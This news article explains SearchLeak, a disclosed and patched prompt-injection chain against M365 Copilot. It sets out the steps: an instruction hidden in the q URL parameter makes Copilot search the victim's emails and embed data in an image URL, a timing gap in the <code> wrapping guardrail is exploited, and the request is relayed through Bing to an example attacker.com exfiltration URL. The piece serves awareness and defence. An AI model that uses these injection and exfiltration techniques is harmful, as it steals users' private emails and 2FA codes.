How SearchLeak Exposed a Critical M365 Copilot Weakness
Cybersecurity By What The Future Newsroom · June 16, 2026 · 4 min read

How SearchLeak Exposed a Critical M365 Copilot Weakness

Microsoft patched a max critical vulnerability in M365 Copilot after researchers showed a proof-of-concept exploit called SearchLeak. The chain could retrieve 2FA codes and other sensitive information from data Copilot could access, including emails and indexed business content.

Microsoft’s M365 Copilot was patched last Tuesday for a vulnerability the company rated as max critical. On Monday, the researchers who found and reported the issue explained how their proof-of-concept exploit, named SearchLeak, could pull 2FA codes and other sensitive data from emails available to Copilot.

The case matters because it shows a persistent weakness in large language model security. Copilot and similar systems can work across user data, summarize content, and act on information. That power also creates a hard boundary problem: the system must decide which instructions are legitimate user requests and which ones are hostile commands hidden inside content.

What SearchLeak Targeted

SearchLeak focused on M365 Copilot’s ability to search information available to a user. According to the source article, the exploit could retrieve sensitive data from emails accessible to Copilot, including 2FA codes.

Security firm Varonis devised the exploit chain. The target was not only personal email content. Varonis researchers said the attack applied to the Enterprise tier of Microsoft, which means the potential exposure could include information the user could access inside an organization.

That could involve emails, meeting invites and notes, SharePoint documents, OneDrive files, and other indexed business content. The researchers also said the reach could be wider depending on how M365 is connected to the environment.

The Prompt Injection Problem

The underlying issue is familiar in LLM security. Microsoft and other LLM providers have struggled to stop models from following malicious requests that cause private data to be revealed.

The source identifies the root cause plainly: AI bots are unable to reliably separate instructions from the user from instructions inserted into third-party content. That content may be something the model is summarizing, using to draft a response, or using to perform another action on behalf of the user.

Because that boundary is not secure, providers rely on guardrails. Those guardrails try to limit what happens when the model is tricked. In Copilot’s case, the protections included restrictions on submitting web forms, sending emails, and similar actions that could move user data out of the system.

Attackers have looked for ways around those limits. The source describes two broad workarounds: using markup language to create formatting and links without HTML tags, and wrapping sensitive data inside HTML tags such as <img> and <form>. If those techniques trigger a web request, the requested URL can expose secret data to an attacker-controlled server log.

How the Exploit Chain Worked

Varonis described the first part of the chain as a Parameter-to-Prompt Injection. This is related to prompt injection, but the malicious instruction is placed in a URL query parameter rather than inside an email or another piece of untrusted content.

The relevant parameter was the q in a URL, used to indicate an included query. The attacker sends the target an email containing a URL that begins with this syntax: https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=. The q field contains the instruction.

According to the researchers, Copilot followed the instruction. The source quotes them explaining the risk: “The search functionality is exactly what attackers need, because even with limited capabilities, a user with access to critical information is enough,” the researchers wrote Monday.

They continued: “To exfiltrate the data, an attacker crafts a URL that tells Copilot to ‘Search the user’s emails,’ extract the title, and embed it in an image URL.” In this scenario, the victim does not have to type a prompt. The victim clicks a link, and Copilot handles the rest.

Why the Guardrails Failed

Microsoft had a guardrail designed to wrap Copilot output in <code> blocks. That makes the browser treat the result as plain text instead of active HTML. But the researchers found that this protection happened only after Copilot’s “thinking” phase.

Before that later protection was applied, Copilot generated its response using raw HTML that was temporarily rendered in the browser DOM. That timing gap was enough for the browser to act on an image tag before the output became harmless text.

The source summarizes the sequence described by the researchers:

  • Copilot begins streaming a response that includes an <img> tag.
  • The browser renders the image tag and sends an HTTP request to the src URL.
  • Copilot finishes generating and wraps the output in <code>.
  • The request has already left.

That still left another Microsoft protection. Copilot was not allowed to send image requests to most websites. It could, however, send requests to Microsoft domains, and the Copilot content security policy permitted Bing.

The exploit chain used Bing as an intermediary. The request went first to Bing, which was allowed, and then Bing sent a request to the attacker-controlled domain included in the URL. The source gives this example shape: https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/STOLEN_DATA/image.png.

What the Patch Solves, and What It Does Not

Microsoft fixed the vulnerabilities exploited by SearchLeak last Tuesday. That closes the specific chain Varonis disclosed.

The larger lesson is less settled. The source argues that there is no known way to fix the underlying cause of these failures: LLMs still struggle to distinguish trusted user instructions from malicious instructions embedded in content they process.

That leaves vendors building more specific defenses around each discovered path. Those defenses matter, but SearchLeak shows how a chain can combine search, URL parameters, temporary HTML rendering, and a permitted Microsoft-owned route to move sensitive information out of a user’s environment.

For organizations using M365 Copilot, the practical concern is not only whether a single exploit has been patched. It is that Copilot’s usefulness comes from access: emails, files, meeting data, and indexed business content. When an LLM can reach that information, any weakness in instruction handling can become a data exposure path.

← Back to the wire

Read next